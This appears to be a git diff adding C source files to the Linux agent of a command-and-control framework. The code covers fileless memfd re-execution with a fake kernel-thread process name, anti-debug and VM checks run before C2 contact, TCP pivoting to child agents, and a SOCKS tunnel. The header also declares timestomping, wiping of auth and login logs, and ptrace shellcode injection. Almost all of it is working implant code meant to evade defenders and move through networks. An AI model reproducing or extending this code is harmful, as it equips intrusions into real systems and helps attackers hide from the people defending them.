+ // 1. Read our own binary from /proc/self/exe + char _path_exe[64]; + DEOBF(OBF_PROC_SELF_EXE, _path_exe); + int src_fd = sys_open(_path_exe, O_RDONLY, 0); + if (src_fd < 0) return -1; + + // Get size via stat + struct linux_stat st; + if (sys_fstat(src_fd, &st) < 0) { + sys_close(src_fd); + return -1; + } + + size_t exe_size = (size_t)st.st_size; + if (exe_size == 0 || exe_size > 100 * 1024 * 1024) { + sys_close(src_fd); + return -1; // Sanity check: max 100MB + } + + // 2. Create anonymous fd via memfd_create + int mem_fd = sys_memfd_create("", MFD_CLOEXEC); + if (mem_fd < 0) { + sys_close(src_fd); + return -1; + } + + // 3. Copy binary to memfd + uint8_t copy_buf[4096]; + size_t remaining = exe_size; + while (remaining > 0) { + size_t chunk = remaining > sizeof(copy_buf) ? sizeof(copy_buf) : remaining; + long n = sys_read(src_fd, copy_buf, chunk); + if (n <= 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + if (write_all(mem_fd, copy_buf, (size_t)n) != 0) { + sys_close(src_fd); + sys_close(mem_fd); + return -1; + } + remaining -= (size_t)n; + } + sys_close(src_fd); + + // 4. Build /proc/self/fd/N path for execve + char fd_path[64]; + ax_strcpy(fd_path, "/proc/self/fd/"); + char fd_str[16]; + ax_itoa(mem_fd, fd_str, 10); + ax_strcat(fd_path, fd_str); + + // 5. execve from memfd — replaces current process + // If argv is NULL, use a minimal argv + char *default_argv[] = { (char*)"[kworker/0:1-events]", NULL }; + char *default_envp[] = { NULL }; + + sys_execve(fd_path, + argv ? argv : default_argv, + envp ? envp : default_envp); + + // If we get here, execve failed + sys_close(mem_fd); + return -1; +} + +// ══════════════════════════════════════════════════════════════════════ +// Combined Check +// ══════════════════════════════════════════════════════════════════════ + +int opsec_check(void) { + // Anti-debug is blocking + if (opsec_anti_debug() != 0) return -1; + + // VM detection is blocking + if (opsec_vm_detect() != 0) return -1; + + // Container detection is informational — don't block + // opsec_container_detect(); + + // eBPF detection is informational — >5 monitors is suspicious but not blocking + // int ebpf = opsec_ebpf_detect(); + // if (ebpf > 5) return -1; // Uncomment for paranoid mode + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h new file mode 100644 index 000000000..e6fee399f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h @@ -0,0 +1,36 @@ +#ifndef OPSEC_H +#define OPSEC_H + +#include "types.h" + +/// OPSEC checks -- anti-debug, VM detection, container detection, eBPF detection +/// Call opsec_check() at startup before any C2 communication. + +/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected. +int opsec_check(void); + +/// Individual checks (can be called separately) +int opsec_anti_debug(void); /* ptrace(TRACEME) + /proc/self/status TracerPid */ +int opsec_vm_detect(void); /* VM/hypervisor detection via CPUID / DMI */ +int opsec_container_detect(void); /* cgroup v1/v2, /.dockerenv, namespace checks */ +int opsec_ebpf_detect(void); /* eBPF program enumeration (kprobes/tracepoints) */ + +/// Process masquerading — called at startup +/// Modifies /proc/self/comm and argv[0] to fake process name +void opsec_masquerade(const char *fake_name, char **argv); + +/// Timestomping — modify file timestamps via utimensat syscall +/// ts_sec=0 means copy timestamps from reference_path +int opsec_timestomp(const char *path, long ts_sec); + +/// Log evasion — truncate auth/wtmp/btmp logs (requires root) +int opsec_clean_logs(void); + +/// Process injection via ptrace — inject + exec shellcode in target pid +int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len); + +/// Fileless self-re-exec via memfd_create +/// Reads own binary from /proc/self/exe, creates anonymous fd, fexecve +int opsec_migrate_memfd(char **argv, char **envp); + +#endif /* OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c new file mode 100644 index 000000000..26a9afaa1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c @@ -0,0 +1,393 @@ +#include "pivot.h" +#include "crt.h" +#include "connector.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants (duplicated from connector.c — no shared header for these) +#ifndef AF_INET +#define AF_INET 2 +#endif +#ifndef SOCK_STREAM +#define SOCK_STREAM 1 +#endif +#ifndef IPPROTO_TCP +#define IPPROTO_TCP 6 +#endif + +// For non-blocking IO +#define F_GETFL 3 +#define F_SETFL 4 +#define O_NONBLOCK 04000 + +// For getsockopt SO_ERROR check after non-blocking connect +#define SOL_SOCKET 1 +#define SO_ERROR 4 + +// EINPROGRESS for non-blocking connect +#define EINPROGRESS 115 + +// Connect timeout (seconds) +#define PIVOT_CONNECT_TIMEOUT 10 + +// For pselect fd_set (up to 1024 fds) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +#define FD_ZERO(set) ax_memset((set), 0, sizeof(linux_fd_set)) +#define FD_SET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] |= (1UL << ((fd) % (8 * sizeof(unsigned long))))) +#define FD_ISSET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] & (1UL << ((fd) % (8 * sizeof(unsigned long))))) + +// sockaddr_in (manual, no libc) +struct pivot_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; +}; + +/// Global pivot context +pivot_context_t g_pivot_ctx; + +void pivots_init(pivot_context_t *ctx) { + ax_memset(ctx, 0, sizeof(pivot_context_t)); +} + +/// Parse "host:port" into ip (network byte order) and port (host order) +static int pivot_parse_addr(const char *address, int port_override, + uint32_t *ip_out, uint16_t *port_out) { + // If address contains ':', parse as "host:port" + // Otherwise use address as host and port_override as port + const char *host = address; + int port = port_override; + + const char *colon = (const char *)0; + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + + // Parse IP octets from host part + const char *end = colon ? colon : (address + ax_strlen(address)); + + uint32_t octets[4] = {0}; + int idx = 0; + for (const char *p = host; p < end && idx < 4; p++) { + if (*p == '.') { + idx++; + } else if (*p >= '0' && *p <= '9') { + octets[idx] = octets[idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (idx != 3) return -1; + for (int i = 0; i < 4; i++) + if (octets[i] > 255) return -1; + + *ip_out = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Port: network byte order + uint16_t p16 = (uint16_t)port; + *port_out = ((p16 >> 8) & 0xFF) | ((p16 & 0xFF) << 8); + + return 0; +} + +/// Read exactly N bytes from fd. Returns 0 on success, -1 on failure. +static int pivot_read_exact(int fd, uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Write exactly N bytes to fd. Returns 0 on success, -1 on failure. +static int pivot_write_exact(int fd, const uint8_t *buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_write(fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +/// Read a length-prefixed message from child: [4B BE length][payload] +/// Returns payload (caller frees) and sets *out_len. Returns NULL on failure. +static uint8_t *pivot_recv_msg(int fd, uint32_t *out_len) { + uint8_t hdr[4]; + if (pivot_read_exact(fd, hdr, 4) != 0) return (uint8_t *)0; + + uint32_t msg_len = ((uint32_t)hdr[0] << 24) | ((uint32_t)hdr[1] << 16) | + ((uint32_t)hdr[2] << 8) | hdr[3]; + if (msg_len == 0 || msg_len > 64 * 1024 * 1024) return (uint8_t *)0; + + uint8_t *buf = (uint8_t *)ax_malloc(msg_len); + if (!buf) return (uint8_t *)0; + + if (pivot_read_exact(fd, buf, msg_len) != 0) { + ax_free(buf); + return (uint8_t *)0; + } + + *out_len = msg_len; + return buf; +} + +/// Send a length-prefixed message to child: [4B BE length][payload] +static int pivot_send_msg(int fd, const uint8_t *data, uint32_t data_len) { + uint8_t hdr[4] = { + (uint8_t)(data_len >> 24), (uint8_t)(data_len >> 16), + (uint8_t)(data_len >> 8), (uint8_t)data_len + }; + if (pivot_write_exact(fd, hdr, 4) != 0) return -1; + if (pivot_write_exact(fd, data, data_len) != 0) return -1; + return 0; +} + +// ── Link TCP ── + +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response) { + // Find free slot + int slot = -1; + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) { + slot = i; + break; + } + } + if (slot < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Max pivots reached"); + return -1; + } + + // Parse address + uint32_t ip; + uint16_t net_port; + if (pivot_parse_addr(address, port, &ip, &net_port) != 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Invalid address"); + return -1; + } + + // Create socket + non-blocking connect with timeout + int fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) { + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Socket creation failed"); + return -1; + } + + struct pivot_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = net_port; + addr.sin_addr = ip; + + // Set non-blocking for connect timeout + long orig_flags = sys_fcntl(fd, F_GETFL, 0); + sys_fcntl(fd, F_SETFL, orig_flags | O_NONBLOCK); + + int conn_ret = sys_connect(fd, &addr, sizeof(addr)); + if (conn_ret != 0 && conn_ret != -EINPROGRESS) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + + if (conn_ret == -EINPROGRESS) { + // Wait for connection with timeout using pselect6 + linux_fd_set writefds; + FD_ZERO(&writefds); + FD_SET(fd, &writefds); + + struct linux_timespec conn_timeout = { .tv_sec = PIVOT_CONNECT_TIMEOUT, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, (void *)0, &writefds, (void *)0, &conn_timeout, (void *)0); + + if (ready <= 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection timed out"); + return -1; + } + + // Check SO_ERROR to verify connection succeeded + int sock_err = 0; + unsigned int err_len = sizeof(sock_err); + sys_getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_err, &err_len); + if (sock_err != 0) { + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Connection refused"); + return -1; + } + } + + // Restore blocking mode for subsequent read/write + sys_fcntl(fd, F_SETFL, orig_flags); + + // Read handshake from child agent: + // The child sends its init message as [4B BE length][encrypted_data] + // The encrypted_data contains the watermark (first 4 bytes) + beat + // We need to read the full message and pass it back to the teamserver + uint32_t beat_len = 0; + uint8_t *beat_data = pivot_recv_msg(fd, &beat_len); + if (!beat_data || beat_len < 4) { + if (beat_data) ax_free(beat_data); + sys_close(fd); + mp_write_map(response, 1); + mp_write_kv_str(response, "error", "Handshake failed"); + return -1; + } + + // Store pivot + ctx->entries[slot].id = task_id; + ctx->entries[slot].fd = fd; + ctx->entries[slot].active = 1; + ctx->count++; + + // Build response: {type: PIVOT_TYPE_TCP, watermark: uint32, beat: bytes} + // The watermark is the first 4 bytes of the beat data (agent's watermark) + uint32_t watermark = ((uint32_t)beat_data[0] << 24) | ((uint32_t)beat_data[1] << 16) | + ((uint32_t)beat_data[2] << 8) | beat_data[3]; + + mp_write_map(response, 3); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + mp_write_kv_uint(response, "watermark", watermark); + mp_write_kv_bin(response, "beat", beat_data + 4, beat_len - 4); + + ax_free(beat_data); + return 0; +} + +// ── Unlink ── + +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response) { + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + sys_close(ctx->entries[i].fd); + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP); + return 0; + } + } + + mp_write_map(response, 2); + mp_write_kv_uint(response, "pivot_id", pivot_id); + mp_write_kv_uint(response, "type", 0); + return -1; +} + +// ── Write to pivot (relay from teamserver to child) ── + +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len) { + if (!data || data_len == 0) return -1; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) { + return pivot_send_msg(ctx->entries[i].fd, data, data_len); + } + } + return -1; +} + +// ── Process pivots (poll child sockets for incoming data) ── + +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer) { + if (ctx->count == 0) return 0; + + int appended = 0; + + for (int i = 0; i < MAX_PIVOTS; i++) { + if (!ctx->entries[i].active) continue; + + int fd = ctx->entries[i].fd; + + // Non-blocking check: use pselect6 with zero timeout + linux_fd_set readfds; + FD_ZERO(&readfds); + FD_SET(fd, &readfds); + + struct linux_timespec timeout = { .tv_sec = 0, .tv_nsec = 0 }; + int ready = sys_pselect6(fd + 1, &readfds, (void *)0, (void *)0, &timeout, (void *)0); + + if (ready > 0 && FD_ISSET(fd, &readfds)) { + // Data available — try to read a length-prefixed message + uint32_t msg_len = 0; + uint8_t *msg_data = pivot_recv_msg(fd, &msg_len); + + if (msg_data && msg_len > 0) { + // Build a Command{code: PIVOT_EXEC, id: 0, data: {pivot_id, data}} + mp_writer_t inner; + mp_writer_init(&inner, 64); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_bin(&inner, "data", msg_data, msg_len); + + mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_PIVOT_EXEC); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + // Append to the objects array + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + ax_free(msg_data); + appended++; + } else { + // Connection lost — auto-disconnect + sys_close(fd); + + // Build unlink notification + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_uint(&inner, "type", PIVOT_TYPE_DISCONNECT); + + mp_writer_t cmd; + mp_writer_init(&cmd, 64); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_UNLINK); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + appended++; + } + } + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h new file mode 100644 index 000000000..75b18dece --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h @@ -0,0 +1,60 @@ +#ifndef PIVOT_H +#define PIVOT_H + +#include "types.h" +#include "msgpack.h" +#include + +/// TCP pivot relay -- allows parent agent to relay traffic to/from child agents +/// on non-routable networks. Linux-only, TCP transport. +/// +/// Flow: +/// 1. Teamserver sends COMMAND_LINK(address, port) to parent agent +/// 2. Parent connects to child via TCP, reads handshake (4B watermark + beat) +/// 3. Parent returns {type, watermark, beat} to teamserver +/// 4. Teamserver sends COMMAND_PIVOT_EXEC(pivotId, data) for relay to child +/// 5. Parent polls child sockets in process_pivots(), relays data back +/// 6. Teamserver sends COMMAND_UNLINK(pivotId) to tear down + +#define MAX_PIVOTS 32 + +typedef struct { + uint32_t id; /* pivot ID = task ID from COMMAND_LINK */ + int fd; /* TCP socket to child agent */ + int active; /* 1 = live, 0 = free slot */ +} pivot_entry_t; + +typedef struct { + pivot_entry_t entries[MAX_PIVOTS]; + int count; +} pivot_context_t; + +/// Initialize pivot context +void pivots_init(pivot_context_t *ctx); + +/// Link: connect to child agent at address:port, read handshake, +/// store pivot entry. Writes response data to `response`. +/// Returns 0 on success, -1 on error. +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response); + +/// Unlink: close a pivot by ID. Writes response to `response`. +/// Returns 0 on success, -1 if not found. +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response); + +/// Write data to a pivot's child agent (relay from teamserver). +/// Used for COMMAND_PIVOT_EXEC from server→child direction. +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len); + +/// Poll all active pivots for incoming data from child agents. +/// Appends relay response objects to `objects_writer` (msgpack array context). +/// Returns the number of pivot data objects appended. +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer); + +/// Global pivot context (defined in pivot.c) +extern pivot_context_t g_pivot_ctx; + +#endif /* PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c new file mode 100644 index 000000000..90e665992 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c @@ -0,0 +1,536 @@ +/// proxyfire.c -- MUX tunnel engine for SOCKS proxy (beacon Proxyfire pattern) +/// +/// All tunnel data is packed into the main communication channel. +/// Zero threads -- non-blocking polling in main loop via process_tunnels(). + +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef O_NONBLOCK +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +#define RECV_CHUNK_SIZE (64 * 1024) /* 64 KB per tunnel per cycle */ +#define MAX_OBJ_SIZE (4 * 1024 * 1024) /* stop RecvProxy if collector > 4MB */ + +// ── Abstraction macros (same as tasks_net.c) ── + +#ifdef BUILD_SO +#define PF_socket(d,t,p) R_socket(d,t,p) +#define PF_connect(s,a,l) R_connect(s,a,l) +#define PF_close(fd) R_close(fd) +#define PF_read(fd,b,n) R_read(fd,b,n) +#define PF_write(fd,b,n) R_write(fd,b,n) +#define PF_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define PF_select(n,r,w,e,t) R_select(n,r,w,e,t) +#else +#define PF_socket(d,t,p) sys_socket(d,t,p) +#define PF_connect(s,a,l) sys_connect(s,a,l) +#define PF_close(fd) sys_close(fd) +#define PF_read(fd,b,n) sys_read(fd,b,n) +#define PF_write(fd,b,n) sys_write(fd,b,n) +#define PF_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#endif + +// ── fd_set (manual, no libc) ── + +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} pf_fd_set; + +static void pf_fd_zero(pf_fd_set *s) { + ax_memset(s, 0, sizeof(pf_fd_set)); +} + +static void pf_fd_set_bit(int fd, pf_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int pf_fd_is_set(int fd, pf_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +/// pselect6 wrapper with zero timeout (non-blocking poll) +static int pf_select_zero(int nfds, pf_fd_set *rfds, pf_fd_set *wfds) { +#ifdef BUILD_SO + struct { long tv_sec; long tv_usec; } tv = {0, 0}; + return PF_select(nfds, rfds, wfds, (void*)0, &tv); +#else + struct linux_timespec ts = { .tv_sec = 0, .tv_nsec = 0 }; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +/// Get a monotonic-ish timestamp (seconds). For connect timeout tracking. +static uint32_t pf_now_sec(void) { +#ifdef BUILD_SO + // SO mode -- no clock_gettime resolved, use nanosleep-based counter + // Actually just use a simple counter incremented by main loop ticks. + // For simplicity, we use the jiffies approach: read /proc/uptime. + // But that's heavy. Instead, track elapsed via tunnel connect_start. + // Return 0 — caller uses diff, so we need actual time. + // Fallback: read /proc/uptime + static uint32_t cached = 0; + int fd = R_open("/proc/uptime", 0, 0); + if (fd >= 0) { + char buf[32] = {0}; + R_read(fd, buf, sizeof(buf) - 1); + R_close(fd); + // Parse integer part of uptime + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + cached = secs; + } + return cached; +#else + // Static mode: read /proc/uptime via syscall + int fd = sys_open("/proc/uptime", 0 /*O_RDONLY*/, 0); + if (fd >= 0) { + char buf[32] = {0}; + sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + return secs; + } + return 0; +#endif +} + +// ── Helper: pack a tunnel response Command into obj_collector ── + +static void pack_tunnel_cmd(mp_writer_t *collector, uint32_t code, + const uint8_t *inner_data, uint32_t inner_len) { + mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", code); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner_data, inner_len); + + mp_write_bin(collector, cmd.buf.data, (uint32_t)cmd.buf.len); + mp_writer_free(&cmd); +} + +/// Pack TUNNEL_STATUS {channel_id, success, reason} +static void pack_tunnel_status(mp_writer_t *collector, int channel_id, + int success, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 3); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bool(&inner, "success", success ? true : false); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_STATUS, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_DATA {channel_id, data} +static void pack_tunnel_data(mp_writer_t *collector, int channel_id, + const uint8_t *data, uint32_t len) { + mp_writer_t inner; + mp_writer_init(&inner, 32 + len); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bin(&inner, "data", data, len); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_DATA, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_CLOSE {channel_id, reason} +static void pack_tunnel_close(mp_writer_t *collector, int channel_id, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_CLOSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +// ── Parse IP:port and create non-blocking socket ── + +static int parse_and_connect(const char *address, int *out_fd) { + char host_buf[256] = {0}; + uint16_t port = 0; + const char *colon = (const char *)0; + + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host_buf)) return -1; + ax_memcpy(host_buf, address, hlen); + host_buf[hlen] = '\0'; + + for (const char *p = colon + 1; *p >= '0' && *p <= '9'; p++) + port = port * 10 + (uint16_t)(*p - '0'); + if (port == 0) return -1; + + struct { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; + } addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); + + uint32_t octets[4] = {0}; + int oidx = 0; + for (const char *p = host_buf; *p && oidx < 4; p++) { + if (*p == '.') oidx++; + else if (*p >= '0' && *p <= '9') octets[oidx] = octets[oidx] * 10 + (*p - '0'); + } + addr.sin_addr = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + int fd = PF_socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) return -1; + + // Non-blocking + PF_fcntl(fd, F_SETFL, O_NONBLOCK); + + int cr = PF_connect(fd, &addr, sizeof(addr)); + if (cr == 0) { + // Immediate success (unlikely but possible on localhost) + *out_fd = fd; + return 1; // 1 = already connected + } + + // Check for EINPROGRESS (connection in progress) + // On Linux, connect() returns -EINPROGRESS for static syscalls + // and -1 with errno=EINPROGRESS for libc. We check both patterns. + if (cr == -EINPROGRESS || cr == -1) { + *out_fd = fd; + return 0; // 0 = connecting + } + + PF_close(fd); + return -1; // error +} + +// ══════════════════════════════════════════════════════ +// Public API +// ══════════════════════════════════════════════════════ + +int proxy_connect_tcp(int tunnel_idx, const char *address) { + job_context_t *ctx = &g_job_ctx; + tunnel_entry_t *tun = &ctx->tunnels[tunnel_idx]; + + int fd = -1; + int ret = parse_and_connect(address, &fd); + + if (ret < 0) { + // Immediate failure + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + return -1; + } + + tun->client_fd = fd; + if (ret == 1) { + // Already connected + tun->state = TUNNEL_STATE_READY; + } else { + // Connection in progress + tun->state = TUNNEL_STATE_CONNECTING; + tun->connect_start = pf_now_sec(); + } + + return 0; +} + +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len) { + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx < 0) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + tunnel_entry_t *tun = &ctx->tunnels[idx]; + if (!tun->active || tun->state == TUNNEL_STATE_CLOSED) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + // Grow write_buf if needed + uint32_t needed = tun->write_len + len; + if (needed > tun->write_cap) { + uint32_t new_cap = tun->write_cap ? tun->write_cap : 4096; + while (new_cap < needed) new_cap *= 2; + uint8_t *new_buf = (uint8_t *)ax_realloc(tun->write_buf, new_cap); + if (!new_buf) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + tun->write_buf = new_buf; + tun->write_cap = new_cap; + } + + ax_memcpy(tun->write_buf + tun->write_len, data, len); + tun->write_len += len; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_pause(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 1; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_resume(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 0; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_close(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) { + ctx->tunnels[idx].state = TUNNEL_STATE_CLOSED; + } + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +// ══════════════════════════════════════════════════════ +// process_tunnels -- main loop polling (beacon pattern) +// ══════════════════════════════════════════════════════ + +int process_tunnels(mp_writer_t *obj_collector) { + job_context_t *ctx = &g_job_ctx; + int appended = 0; + uint32_t now = pf_now_sec(); + + // ──────────────────────────────────────── + // Stage 1: CheckProxy -- poll connecting sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CONNECTING) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Timeout check + if (now - tun->connect_start > TUNNEL_CONNECT_TIMEOUT) { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, tun->channel_id, 0, 4 /*timeout*/); + appended++; + continue; + } + + // Poll for writability (connect complete) + pf_fd_set wfds; + pf_fd_zero(&wfds); + pf_fd_set_bit(tun->client_fd, &wfds); + + int sr = pf_select_zero(tun->client_fd + 1, (pf_fd_set *)0, &wfds); + if (sr <= 0) continue; // not ready yet + + if (pf_fd_is_set(tun->client_fd, &wfds)) { + int err = 0; + unsigned int errlen = sizeof(err); + PF_getsockopt(tun->client_fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + + if (err == 0) { + tun->state = TUNNEL_STATE_READY; + pack_tunnel_status(obj_collector, tun->channel_id, 1, 0); + } else { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, 